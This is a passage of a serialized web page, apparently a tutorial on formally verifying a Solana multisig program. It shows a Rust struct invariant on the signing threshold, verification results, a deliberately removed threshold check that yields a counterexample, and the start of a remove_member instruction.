requirements",{"type":24,"tag":25,"props":24394,"children":24395},{},[24396],{"type":29,"value":24397},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":24,"tag":25,"props":24399,"children":24400},{},[24401,24403,24407],{"type":29,"value":24402},"Unlike the previous example, we want to verify this in ",{"type":24,"tag":2655,"props":24404,"children":24405},{},[24406],{"type":29,"value":9047},{"type":29,"value":24408}," cases. I.e. any instruction that could mutate the multisig account.",{"type":24,"tag":25,"props":24410,"children":24411},{},[24412,24414,24418,24420,24425],{"type":29,"value":24413},"In this case, we want to model this as an ",{"type":24,"tag":2655,"props":24415,"children":24416},{},[24417],{"type":29,"value":21518},{"type":29,"value":24419}," on the ",{"type":24,"tag":32,"props":24421,"children":24423},{"className":24422},[],[24424],{"type":29,"value":22481},{"type":29,"value":24426}," account struct:",{"type":24,"tag":73,"props":24428,"children":24430},{"code":24429,"language":2724,"meta":7,"className":2725,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[24431],{"type":24,"tag":32,"props":24432,"children":24433},{"__ignoreMap":7},[24434,24441,24466,24473,24497,24548,24555,24574,24601,24628,24655,24682,24709,24736,24763,24798],{"type":24,"tag":83,"props":24435,"children":24436},{"class":85,"line":86},[24437],{"type":24,"tag":83,"props":24438,"children":24439},{"style":107},[24440],{"type":29,"value":20510},{"type":24,"tag":83,"props":24442,"children":24443},{"class":85,"line":113},[24444,24448,24453,24457,24462],{"type":24,"tag":83,"props":24445,"children":24446},{"style":107},[24447],{"type":29,"value":22577},{"type":24,"tag":83,"props":24449,"children":24450},{"style":3163},[24451],{"type":29,"value":24452},"Clone",{"type":24,"tag":83,"props":24454,"children":24455},{"style":107},[24456],{"type":29,"value":568},{"type":24,"tag":83,"props":24458,"children":24459},{"style":3163},[24460],{"type":29,"value":24461},"Debug",{"type":24,"tag":83,"props":24463,"children":24464},{"style":107},[24465],{"type":29,"value":19999},{"type":24,"tag":83,"props":24467,"children":24468},{"class":85,"line":128},[24469],{"type":24,"tag":83,"props":24470,"children":24471},{"style":107},[24472],{"type":29,"value":20518},{"type":24,"tag":83,"props":24474,"children":24475},{"class":85,"line":183},[24476,24481,24485,24489,24493],{"type":24,"tag":83,"props":24477,"children":24478},{"style":107},[24479],{"type":29,"value":24480},"    (self",{"type":24,"tag":83,"props":24482,"children":24483},{"style":143},[24484],{"type":29,"value":161},{"type":24,"tag":83,"props":24486,"children":24487},{"style":107},[24488],{"type":29,"value":20811},{"type":24,"tag":83,"props":24490,"children":24491},{"style":143},[24492],{"type":29,"value":9690},{"type":24,"tag":83,"props":24494,"children":24495},{"style":107},[24496],{"type":29,"value":20820},{"type":24,"tag":83,"props":24498,"children":24499},{"class":85,"line":203},[24500,24504,24508,24512,24516,24520,24524,24528,24532,24536,24540,24544],{"type":24,"tag":83,"props":24501,"children":24502},{"style":143},[24503],{"type":29,"value":15360},{"type":24,"tag":83,"props":24505,"children":24506},{"style":107},[24507],{"type":29,"value":20744},{"type":24,"tag":83,"props":24509,"children":24510},{"style":143},[24511],{"type":29,"value":161},{"type":24,"tag":83,"props":24513,"children":24514},{"style":107},[24515],{"type":29,"value":20811},{"type":24,"tag":83,"props":24517,"children":24518},{"style":90},[24519],{"type":29,"value":8586},{"type":24,"tag":83,"props":24521,"children":24522},{"style":3163},[24523],{"type":29,"value":13476},{"type":24,"tag":83,"props":24525,"children":24526},{"style":143},[24527],{"type":29,"value":7942},{"type":24,"tag":83,"props":24529,"children":24530},{"style":107},[24531],{"type":29,"value":13542},{"type":24,"tag":83,"props":24533,"children":24534},{"style":143},[24535],{"type":29,"value":161},{"type":24,"tag":83,"props":24537,"children":24538},{"style":107},[24539],{"type":29,"value":20723},{"type":24,"tag":83,"props":24541,"children":24542},{"style":143},[24543],{"type":29,"value":161},{"type":24,"tag":83,"props":24545,"children":24546},{"style":107},[24547],{"type":29,"value":20872},{"type":24,"tag":83,"props":24549,"children":24550},{"class":85,"line":212},[24551],{"type":24,"tag":83,"props":24552,"children":24553},{"style":107},[24554],{"type":29,"value":19999},{"type":24,"tag":83,"props":24556,"children":24557},{"class":85,"line":256},[24558,24562,24566,24570],{"type":24,"tag":83,"props":24559,"children":24560},{"style":90},[24561],{"type":29,"value":13435},{"type":24,"tag":83,"props":24563,"children":24564},{"style":90},[24565],{"type":29,"value":20891},{"type":24,"tag":83,"props":24567,"children":24568},{"style":3163},[24569],{"type":29,"value":20896},{"type":24,"tag":83,"props":24571,"children":24572},{"style":107},[24573],{"type":29,"value":125},{"type":24,"tag":83,"props":24575,"children":24576},{"class":85,"line":270},[24577,24581,24585,24589,24593,24597],{"type":24,"tag":83,"props":24578,"children":24579},{"style":90},[24580],{"type":29,"value":20583},{"type":24,"tag":83,"props":24582,"children":24583},{"style":137},[24584],{"type":29,"value":20912},{"type":24,"tag":83,"props":24586,"children":24587},{"style":143},[24588],{"type":29,"value":195},{"type":24,"tag":83,"props":24590,"children":24591},{"style":3163},[24592],{"type":29,"value":20770},{"type":24,"tag":83,"props":24594,"children":24595},{"style":107},[24596],{"type":29,"value":20925},{"type":24,"tag":83,"props":24598,"children":24599},{"style":2735},[24600],{"type":29,"value":20930},{"type":24,"tag":83,"props":24602,"children":24603},{"class":85,"line":302},[24604,24608,24612,24616,24620,24624],{"type":24,"tag":83,"props":24605,"children":24606},{"style":90},[24607],{"type":29,"value":20583},{"type":24,"tag":83,"props":24609,"children":24610},{"style":137},[24611],{"type":29,"value":20942},{"type":24,"tag":83,"props":24613,"children":24614},{"style":143},[24615],{"type":29,"value":195},{"type":24,"tag":83,"props":24617,"children":24618},{"style":3163},[24619],{"type":29,"value":20770},{"type":24,"tag":83,"props":24621,"children":24622},{"style":107},[24623],{"type":29,"value":20955},{"type":24,"tag":83,"props":24625,"children":24626},{"style":2735},[24627],{"type":29,"value":20960},{"type":24,"tag":83,"props":24629,"children":24630},{"class":85,"line":324},[24631,24635,24639,24643,24647,24651],{"type":24,"tag":83,"props":24632,"children":24633},{"style":90},[24634],{"type":29,"value":20583},{"type":24,"tag":83,"props":24636,"children":24637},{"style":137},[24638],{"type":29,"value":20972},{"type":24,"tag":83,"props":24640,"children":24641},{"style":143},[24642],{"type":29,"value":195},{"type":24,"tag":83,"props":24644,"children":24645},{"style":3163},[24646],{"type":29,"value":17286},{"type":24,"tag":83,"props":24648,"children":24649},{"style":107},[24650],{"type":29,"value":20985},{"type":24,"tag":83,"props":24652,"children":24653},{"style":2735},[24654],{"type":29,"value":20990},{"type":24,"tag":83,"props":24656,"children":24657},{"class":85,"line":345},[24658,24662,24666,24670,24674,24678],{"type":24,"tag":83,"props":24659,"children":24660},{"style":90},[24661],{"type":29,"value":20583},{"type":24,"tag":83,"props":24663,"children":24664},{"style":137},[24665],{"type":29,"value":21002},{"type":24,"tag":83,"props":24667,"children":24668},{"style":143},[24669],{"type":29,"value":195},{"type":24,"tag":83,"props":24671,"children":24672},{"style":3163},[24673],{"type":29,"value":17286},{"type":24,"tag":83,"props":24675,"children":24676},{"style":107},[24677],{"type":29,"value":20955},{"type":24,"tag":83,"props":24679,"children":24680},{"style":2735},[24681],{"type":29,"value":21019},{"type":24,"tag":83,"props":24683,"children":24684},{"class":85,"line":358},[24685,24689,24693,24697,24701,24705],{"type":24,"tag":83,"props":24686,"children":24687},{"style":90},[24688],{"type":29,"value":20583},{"type":24,"tag":83,"props":24690,"children":24691},{"style":137},[24692],{"type":29,"value":21031},{"type":24,"tag":83,"props":24694,"children":24695},{"style":143},[24696],{"type":29,"value":195},{"type":24,"tag":83,"props":24698,"children":24699},{"style":3163},[24700],{"type":29,"value":14377},{"type":24,"tag":83,"props":24702,"children":24703},{"style":107},[24704],{"type":29,"value":21044},{"type":24,"tag":83,"props":24706,"children":24707},{"style":2735},[24708],{"type":29,"value":21049},{"type":24,"tag":83,"props":24710,"children":24711},{"class":85,"line":367},[24712,24716,24720,24724,24728,24732],{"type":24,"tag":83,"props":24713,"children":24714},{"style":90},[24715],{"type":29,"value":20583},{"type":24,"tag":83,"props":24717,"children":24718},{"style":137},[24719],{"type":29,"value":21061},{"type":24,"tag":83,"props":24721,"children":24722},{"style":143},[24723],{"type":29,"value":195},{"type":24,"tag":83,"props":24725,"children":24726},{"style":3163},[24727],{"type":29,"value":20597},{"type":24,"tag":83,"props":24729,"children":24730},{"style":107},[24731],{"type":29,"value":21074},{"type":24,"tag":83,"props":24733,"children":24734},{"style":2735},[24735],{"type":29,"value":21079},{"type":24,"tag":83,"props":24737,"children":24738},{"class":85,"line":406},[24739,24743,24747,24751,24755,24759],{"type":24,"tag":83,"props":24740,"children":24741},{"style":90},[24742],{"type":29,"value":20583},{"type":24,"tag":83,"props":24744,"children":24745},{"style":137},[24746],{"type":29,"value":21091},{"type":24,"tag":83,"props":24748,"children":24749},{"style":143},[24750],{"type":29,"value":195},{"type":24,"tag":83,"props":24752,"children":24753},{"style":3163},[24754],{"type":29,"value":11797},{"type":24,"tag":83,"props":24756,"children":24757},{"style":107},[24758],{"type":29,"value":568},{"type":24,"tag":83,"props":24760,"children":24761},{"style":2735},[24762],{"type":29,"value":21108},{"type":24,"tag":83,"props":24764,"children":24765},{"class":85,"line":427},[24766,24770,24774,24778,24782,24786,24790,24794],{"type":24,"tag":83,"props":24767,"children":24768},{"style":90},[24769],{"type":29,"value":20583},{"type":24,"tag":83,"props":24771,"children":24772},{"style":137},[24773],{"type":29,"value":21120},{"type":24,"tag":83,"props":24775,"children":24776},{"style":143},[24777],{"type":29,"value":195},{"type":24,"tag":83,"props":24779,"children":24780},{"style":3163},[24781],{"type":29,"value":21129},{"type":24,"tag":83,"props":24783,"children":24784},{"style":107},[24785],{"type":29,"value":5552},{"type":24,"tag":83,"props":24787,"children":24788},{"style":3163},[24789],{"type":29,"value":21138},{"type":24,"tag":83,"props":24791,"children":24792},{"style":107},[24793],{"type":29,"value":21143},{"type":24,"tag":83,"props":24795,"children":24796},{"style":2735},[24797],{"type":29,"value":21148},{"type":24,"tag":83,"props":24799,"children":24800},{"class":85,"line":440},[24801],{"type":24,"tag":83,"props":24802,"children":24803},{"style":107},[24804],{"type":29,"value":464},{"type":24,"tag":25,"props":24806,"children":24807},{},[24808,24810,24815],{"type":29,"value":24809},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":24,"tag":32,"props":24811,"children":24813},{"className":24812},[],[24814],{"type":29,"value":22481},{"type":29,"value":24816}," object will be checked to ensure that the invariant still holds after modification.",{"type":24,"tag":25,"props":24818,"children":24819},{},[24820,24822,24827],{"type":29,"value":24821},"Let's try this on the ",{"type":24,"tag":32,"props":24823,"children":24825},{"className":24824},[],[24826],{"type":29,"value":22560},{"type":29,"value":24828}," instruction that we've already seen:",{"type":24,"tag":73,"props":24830,"children":24832},{"code":24831},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[24833],{"type":24,"tag":32,"props":24834,"children":24835},{"__ignoreMap":7},[24836],{"type":29,"value":24831},{"type":24,"tag":25,"props":24838,"children":24839},{},[24840,24842,24847],{"type":29,"value":24841},"To ensure this is working, we can test by commenting out this check from ",{"type":24,"tag":32,"props":24843,"children":24845},{"className":24844},[],[24846],{"type":29,"value":22560},{"type":29,"value":195},{"type":24,"tag":73,"props":24849,"children":24851},{"code":24850,"language":2724,"meta":7,"className":2725,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[24852],{"type":24,"tag":32,"props":24853,"children":24854},{"__ignoreMap":7},[24855,24863,24871],{"type":24,"tag":83,"props":24856,"children":24857},{"class":85,"line":86},[24858],{"type":24,"tag":83,"props":24859,"children":24860},{"style":2735},[24861],{"type":29,"value":24862},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":24,"tag":83,"props":24864,"children":24865},{"class":85,"line":113},[24866],{"type":24,"tag":83,"props":24867,"children":24868},{"style":2735},[24869],{"type":29,"value":24870},"//     return err!(MsError::InvalidThreshold);\n",{"type":24,"tag":83,"props":24872,"children":24873},{"class":85,"line":128},[24874],{"type":24,"tag":83,"props":24875,"children":24876},{"style":2735},[24877],{"type":29,"value":24878},"// }\n",{"type":24,"tag":25,"props":24880,"children":24881},{},[24882],{"type":29,"value":24883},"And run again:",{"type":24,"tag":73,"props":24885,"children":24887},{"code":24886},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[24888],{"type":24,"tag":32,"props":24889,"children":24890},{"__ignoreMap":7},[24891],{"type":29,"value":24886},{"type":24,"tag":25,"props":24893,"children":24894},{},[24895],{"type":29,"value":24896},"We get the following counterexample:",{"type":24,"tag":73,"props":24898,"children":24900},{"code":24899,"language":2724,"meta":7,"className":2725,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[24901],{"type":24,"tag":32,"props":24902,"children":24903},{"__ignoreMap":7},[24904,24915,24935,24955,24975,24995,25015,25035,25055,25075,25096,25117,25125,25132,25162],{"type":24,"tag":83,"props":24905,"children":24906},{"class":85,"line":86},[24907,24911],{"type":24,"tag":83,"props":24908,"children":24909},{"style":3163},[24910],{"type":29,"value":16882},{"type":24,"tag":83,"props":24912,"children":24913},{"style":107},[24914],{"type":29,"value":125},{"type":24,"tag":83,"props":24916,"children":24917},{"class":85,"line":113},[24918,24923,24927,24931],{"type":24,"tag":83,"props":24919,"children":24920},{"style":137},[24921],{"type":29,"value":24922},"    account",{"type":24,"tag":83,"props":24924,"children":24925},{"style":143},[24926],{"type":29,"value":195},{"type":24,"tag":83,"props":24928,"children":24929},{"style":3163},[24930],{"type":29,"value":20896},{"type":24,"tag":83,"props":24932,"children":24933},{"style":107},[24934],{"type":29,"value":125},{"type":24,"tag":83,"props":24936,"children":24937},{"class":85,"line":128},[24938,24942,24946,24951],{"type":24,"tag":83,"props":24939,"children":24940},{"style":137},[24941],{"type":29,"value":23576},{"type":24,"tag":83,"props":24943,"children":24944},{"style":143},[24945],{"type":29,"value":195},{"type":24,"tag":83,"props":24947,"children":24948},{"style":245},[24949],{"type":29,"value":24950}," 32768",{"type":24,"tag":83,"props":24952,"children":24953},{"style":107},[24954],{"type":29,"value":989},{"type":24,"tag":83,"props":24956,"children":24957},{"class":85,"line":183},[24958,24963,24967,24971],{"type":24,"tag":83,"props":24959,"children":24960},{"style":137},[24961],{"type":29,"value":24962},"        authority_index",{"type":24,"tag":83,"props":24964,"children":24965},{"style":143},[24966],{"type":29,"value":195},{"type":24,"tag":83,"props":24968,"children":24969},{"style":245},[24970],{"type":29,"value":295},{"type":24,"tag":83,"props":24972,"children":24973},{"style":107},[24974],{"type":29,"value":989},{"type":24,"tag":83,"props":24976,"children":24977},{"class":85,"line":203},[24978,24983,24987,24991],{"type":24,"tag":83,"props":24979,"children":24980},{"style":137},[24981],{"type":29,"value":24982},"        transaction_index",{"type":24,"tag":83,"props":24984,"children":24985},{"style":143},[24986],{"type":29,"value":195},{"type":24,"tag":83,"props":24988,"children":24989},{"style":245},[24990],{"type":29,"value":248},{"type":24,"tag":83,"props":24992,"children":24993},{"style":107},[24994],{"type":29,"value":989},{"type":24,"tag":83,"props":24996,"children":24997},{"class":85,"line":212},[24998,25003,25007,25011],{"type":24,"tag":83,"props":24999,"children":25000},{"style":137},[25001],{"type":29,"value":25002},"        ms_change_index",{"type":24,"tag":83,"props":25004,"children":25005},{"style":143},[25006],{"type":29,"value":195},{"type":24,"tag":83,"props":25008,"children":25009},{"style":245},[25010],{"type":29,"value":248},{"type":24,"tag":83,"props":25012,"children":25013},{"style":107},[25014],{"type":29,"value":989},{"type":24,"tag":83,"props":25016,"children":25017},{"class":85,"line":256},[25018,25023,25027,25031],{"type":24,"tag":83,"props":25019,"children":25020},{"style":137},[25021],{"type":29,"value":25022},"        bump",{"type":24,"tag":83,"props":25024,"children":25025},{"style":143},[25026],{"type":29,"value":195},{"type":24,"tag":83,"props":25028,"children":25029},{"style":245},[25030],{"type":29,"value":248},{"type":24,"tag":83,"props":25032,"children":25033},{"style":107},[25034],{"type":29,"value":989},{"type":24,"tag":83,"props":25036,"children":25037},{"class":85,"line":270},[25038,25042,25046,25051],{"type":24,"tag":83,"props":25039,"children":25040},{"style":137},[25041],{"type":29,"value":23589},{"type":24,"tag":83,"props":25043,"children":25044},{"style":143},[25045],{"type":29,"value":195},{"type":24,"tag":83,"props":25047,"children":25048},{"style":143},[25049],{"type":29,"value":25050}," ...",{"type":24,"tag":83,"props":25052,"children":25053},{"style":107},[25054],{"type":29,"value":989},{"type":24,"tag":83,"props":25056,"children":25057},{"class":85,"line":302},[25058,25063,25067,25071],{"type":24,"tag":83,"props":25059,"children":25060},{"style":137},[25061],{"type":29,"value":25062},"        allow_external_execute",{"type":24,"tag":83,"props":25064,"children":25065},{"style":143},[25066],{"type":29,"value":195},{"type":24,"tag":83,"props":25068,"children":25069},{"style":90},[25070],{"type":29,"value":8803},{"type":24,"tag":83,"props":25072,"children":25073},{"style":107},[25074],{"type":29,"value":989},{"type":24,"tag":83,"props":25076,"children":25077},{"class":85,"line":324},[25078,25083,25087,25092],{"type":24,"tag":83,"props":25079,"children":25080},{"style":137},[25081],{"type":29,"value":25082},"        keys",{"type":24,"tag":83,"props":25084,"children":25085},{"style":143},[25086],{"type":29,"value":195},{"type":24,"tag":83,"props":25088,"children":25089},{"style":3163},[25090],{"type":29,"value":25091}," SparseVec",{"type":24,"tag":83,"props":25093,"children":25094},{"style":107},[25095],{"type":29,"value":125},{"type":24,"tag":83,"props":25097,"children":25098},{"class":85,"line":345},[25099,25104,25108,25113],{"type":24,"tag":83,"props":25100,"children":25101},{"style":137},[25102],{"type":29,"value":25103},"            size",{"type":24,"tag":83,"props":25105,"children":25106},{"style":143},[25107],{"type":29,"value":195},{"type":24,"tag":83,"props":25109,"children":25110},{"style":245},[25111],{"type":29,"value":25112}," 5112",{"type":24,"tag":83,"props":25114,"children":25115},{"style":107},[25116],{"type":29,"value":989},{"type":24,"tag":83,"props":25118,"children":25119},{"class":85,"line":358},[25120],{"type":24,"tag":83,"props":25121,"children":25122},{"style":107},[25123],{"type":29,"value":25124},"        },\n",{"type":24,"tag":83,"props":25126,"children":25127},{"class":85,"line":367},[25128],{"type":24,"tag":83,"props":25129,"children":25130},{"style":107},[25131],{"type":29,"value":2130},{"type":24,"tag":83,"props":25133,"children":25134},{"class":85,"line":406},[25135,25140,25144,25149,25153,25157],{"type":24,"tag":83,"props":25136,"children":25137},{"style":137},[25138],{"type":29,"value":25139},"    info",{"type":24,"tag":83,"props":25141,"children":25142},{"style":143},[25143],{"type":29,"value":195},{"type":24,"tag":83,"props":25145,"children":25146},{"style":3163},[25147],{"type":29,"value":25148}," AccountInfo",{"type":24,"tag":83,"props":25150,"children":25151},{"style":107},[25152],{"type":29,"value":9333},{"type":24,"tag":83,"props":25154,"children":25155},{"style":143},[25156],{"type":29,"value":509},{"type":24,"tag":83,"props":25158,"children":25159},{"style":107},[25160],{"type":29,"value":25161}," },\n",{"type":24,"tag":83,"props":25163,"children":25164},{"class":85,"line":427},[25165],{"type":24,"tag":83,"props":25166,"children":25167},{"style":107},[25168],{"type":29,"value":464},{"type":24,"tag":25,"props":25170,"children":25171},{},[25172,25174,25179,25181,25186],{"type":29,"value":25173},"Here we see that the ",{"type":24,"tag":32,"props":25175,"children":25177},{"className":25176},[],[25178],{"type":29,"value":22489},{"type":29,"value":25180}," of the newly created ",{"type":24,"tag":32,"props":25182,"children":25184},{"className":25183},[],[25185],{"type":29,"value":22481},{"type":29,"value":25187}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":24,"tag":1818,"props":25189,"children":25191},{"id":25190},"verify-requirements-to-remove-a-member",[25192],{"type":29,"value":22519},{"type":24,"tag":25,"props":25194,"children":25195},{},[25196,25198,25203,25204,25209,25211,25217],{"type":29,"value":25197},"Now that we've seen both ",{"type":24,"tag":32,"props":25199,"children":25201},{"className":25200},[],[25202],{"type":29,"value":19895},{"type":29,"value":2287},{"type":24,"tag":32,"props":25205,"children":25207},{"className":25206},[],[25208],{"type":29,"value":21518},{"type":29,"value":25210}," let's take a look at the ",{"type":24,"tag":32,"props":25212,"children":25214},{"className":25213},[],[25215],{"type":29,"value":25216},"remove_member",{"type":29,"value":2526},{"type":24,"tag":73,"props":25219,"children":25221},{"code":25220,"language":2724,"meta":7,"className":2725,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[25222],{"type":24,"tag":32,"props":25223,"children":25224},{"__ignoreMap":7},[25225,25248,25276,25291,25336,25343,25355,25371,25383,25409,25417,25446,25453,25485,25492,25499,25573,25581,25641,25673,25680,25731,25738,25746,25839,25928,25982,25989,26034,26079],{"type":24,"tag":83,"props":25226,"children":25227},{"class":85,"line":86},[25228,25232,25236,25240,25244],{"type":24,"tag":83,"props":25229,"children":25230},{"style":107},[25231],{"type":29,"value":22577},{"type":24,"tag":83,"props":25233,"children":25234},{"style":3163},[25235],{"type":29,"value":22582},{"type":24,"tag":83,"props":25237,"children":25238},{"style":107},[25239],{"type":29,"value":568},{"type":24,"tag":83,"props":25241,"children":25242},{"style":3163},[25243],{"type":29,"value":24461},{"type":24,"tag":83,"props":25245,"children":25246},{"style":107},[25247],{"type":29,"value":19999},{"type":24,"tag":83,"props":25249,"children":25250},{"class":85,"line":113},[25251,25255,25259,25264,25268,25272],{"type":24,"tag":83,"props":25252,"children":25253},{"style":90},[25254],{"type":29,"value":13435},{"type":24,"tag":83,"props":25256,"children":25257},{"style":90},[25258],{"type":29,"value":20891},{"type":24,"tag":83,"props":25260,"children":25261},{"style":3163},[25262],{"type":29,"value":25263}," MsAuth",{"type":24,"tag":83,"props":25265,"children":25266},{"style":107},[25267],{"type":29,"value":22662},{"type":24,"tag":83,"props":25269,"children":25270},{"style":3163},[25271],{"type":29,"value":22667},{"type":24,"tag":83,"props":25273,"children":25274},{"style":107},[25275],{"type":29,"value":7028},{"type":24,"tag":83,"props":25277,"children":25278},{"class":85,"line":128},[25279,25283,25287],{"type":24,"tag":83,"props":25280,"children":25281},{"style":107},[25282],{"type":29,"value":22868},{"type":24,"tag":83,"props":25284,"children":25285},{"style":90},[25286],{"type":29,"value":3468},{"type":24,"tag":83,"props":25288,"children":25289},{"style":107},[25290],{"type":29,"value":19999},{"type":24,"tag":83,"props":25292,"children":25293},{"class":85,"line":183},[25294,25299,25303,25308,25312,25316,25320,25324,25328,25332],{"type":24,"tag":83,"props":25295,"children":25296},{"style":137},[25297],{"type":29,"value":25298},"    multisig",{"type":24,"tag":83,"props":25300,"children":25301},{"style":143},[25302],{"type":29,"value":195},{"type":24,"tag":83,"props":25304,"children":25305},{"style":3163},[25306],{"type":29,"value":25307}," Box",{"type":24,"tag":83,"props":25309,"children":25310},{"style":107},[25311],{"type":29,"value":5552},{"type":24,"tag":83,"props":25313,"children":25314},{"style":3163},[25315],{"type":29,"value":16882},{"type":24,"tag":83,"props":25317,"children":25318},{"style":107},[25319],{"type":29,"value":22662},{"type":24,"tag":83,"props":25321,"children":25322},{"style":3163},[25323],{"type":29,"value":22667},{"type":24,"tag":83,"props":25325,"children":25326},{"style":107},[25327],{"type":29,"value":568},{"type":24,"tag":83,"props":25329,"children":25330},{"style":3163},[25331],{"type":29,"value":22481},{"type":24,"tag":83,"props":25333,"children":25334},{"style":107},[25335],{"type":29,"value":6698},{"type":24,"tag":83,"props":25337,"children":25338},{"class":85,"line":203},[25339],{"type":24,"tag":83,"props":25340,"children":25341},{"style":107},[25342],{"type":29,"value":22679},{"type":24,"tag":83,"props":25344,"children":25345},{"class":85,"line":212},[25346,25351],{"type":24,"tag":83,"props":25347,"children":25348},{"style":90},[25349],{"type":29,"value":25350},"        mut",{"type":24,"tag":83,"props":25352,"children":25353},{"style":107},[25354],{"type":29,"value":989},{"type":24,"tag":83,"props":25356,"children":25357},{"class":85,"line":256},[25358,25362,25366],{"type":24,"tag":83,"props":25359,"children":25360},{"style":107},[25361],{"type":29,"value":22763},{"type":24,"tag":83,"props":25363,"children":25364},{"style":143},[25365],{"type":29,"value":1275},{"type":24,"tag":83,"props":25367,"children":25368},{"style":107},[25369],{"type":29,"value":25370}," [\n",{"type":24,"tag":83,"props":25372,"children":25373},{"class":85,"line":270},[25374,25379],{"type":24,"tag":83,"props":25375,"children":25376},{"style":187},[25377],{"type":29,"value":25378},"            b\"squad\"",{"type":24,"tag":83,"props":25380,"children":25381},{"style":107},[25382],{"type":29,"value":989},{"type":24,"tag":83,"props":25384,"children":25385},{"class":85,"line":302},[25386,25391,25395,25400,25404],{"type":24,"tag":83,"props":25387,"children":25388},{"style":107},[25389],{"type":29,"value":25390},"            multisig",{"type":24,"tag":83,"props":25392,"children":25393},{"style":143},[25394],{"type":29,"value":161},{"type":24,"tag":83,"props":25396,"children":25397},{"style":107},[25398],{"type":29,"value":25399},"create_key",{"type":24,"tag":83,"props":25401,"children":25402},{"style":143},[25403],{"type":29,"value":161},{"type":24,"tag":83,"props":25405,"children":25406},{"style":107},[25407],{"type":29,"value":25408},"as_ref(),\n",{"type":24,"tag":83,"props":25410,"children":25411},{"class":85,"line":324},[25412],{"type":24,"tag":83,"props":25413,"children":25414},{"style":187},[25415],{"type":29,"value":25416},"            b\"multisig\"\n",{"type":24,"tag":83,"props":25418,"children":25419},{"class":85,"line":345},[25420,25425,25430,25434,25438,25442],{"type":24,"tag":83,"props":25421,"children":25422},{"style":107},[25423],{"type":29,"value":25424},"        ], ",{"type":24,"tag":83,"props":25426,"children":25427},{"style":137},[25428],{"type":29,"value":25429},"bump",{"type":24,"tag":83,"props":25431,"children":25432},{"style":143},[25433],{"type":29,"value":146},{"type":24,"tag":83,"props":25435,"children":25436},{"style":137},[25437],{"type":29,"value":22824},{"type":24,"tag":83,"props":25439,"children":25440},{"style":143},[25441],{"type":29,"value":161},{"type":24,"tag":83,"props":25443,"children":25444},{"style":107},[25445],{"type":29,"value":22804},{"type":24,"tag":83,"props":25447,"children":25448},{"class":85,"line":358},[25449],{"type":24,"tag":83,"props":25450,"children":25451},{"style":107},[25452],{"type":29,"value":22812},{"type":24,"tag":83,"props":25454,"children":25455},{"class":85,"line":367},[25456,25460,25465,25469,25473,25477,25481],{"type":24,"tag":83,"props":25457,"children":25458},{"style":90},[25459],{"type":29,"value":20583},{"type":24,"tag":83,"props":25461,"children":25462},{"style":137},[25463],{"type":29,"value":25464}," multisig_auth",{"type":24,"tag":83,"props":25466,"children":25467},{"style":143},[25468],{"type":29,"value":195},{"type":24,"tag":83,"props":25470,"children":25471},{"style":3163},[25472],{"type":29,"value":22897},{"type":24,"tag":83,"props":25474,"children":25475},{"style":107},[25476],{"type":29,"value":22662},{"type":24,"tag":83,"props":25478,"children":25479},{"style":3163},[25480],{"type":29,"value":22667},{"type":24,"tag":83,"props":25482,"children":25483},{"style":107},[25484],{"type":29,"value":5884},{"type":24,"tag":83,"props":25486,"children":25487},{"class":85,"line":406},[25488],{"type":24,"tag":83,"props":25489,"children":25490},{"style":107},[25491],{"type":29,"value":464},{"type":24,"tag":83,"props":25493,"children":25494},{"class":85,"line":427},[25495],{"type":24,"tag":83,"props":25496,"children":25497},{"emptyLinePlaceholder":16},[25498],{"type":29,"value":3422},{"type":24,"tag":83,"props":25500,"children":25501},{"class":85,"line":440},[25502,25506,25510,25515,25519,25523,25527,25531,25535,25540,25544,25549,25553,25557,25561,25565,25569],{"type":24,"tag":83,"props":25503,"children":25504},{"style":90},[25505],{"type":29,"value":13435},{"type":24,"tag":83,"props":25507,"children":25508},{"style":90},[25509],{"type":29,"value":13440},{"type":24,"tag":83,"props":25511,"children":25512},{"style":101},[25513],{"type":29,"value":25514}," 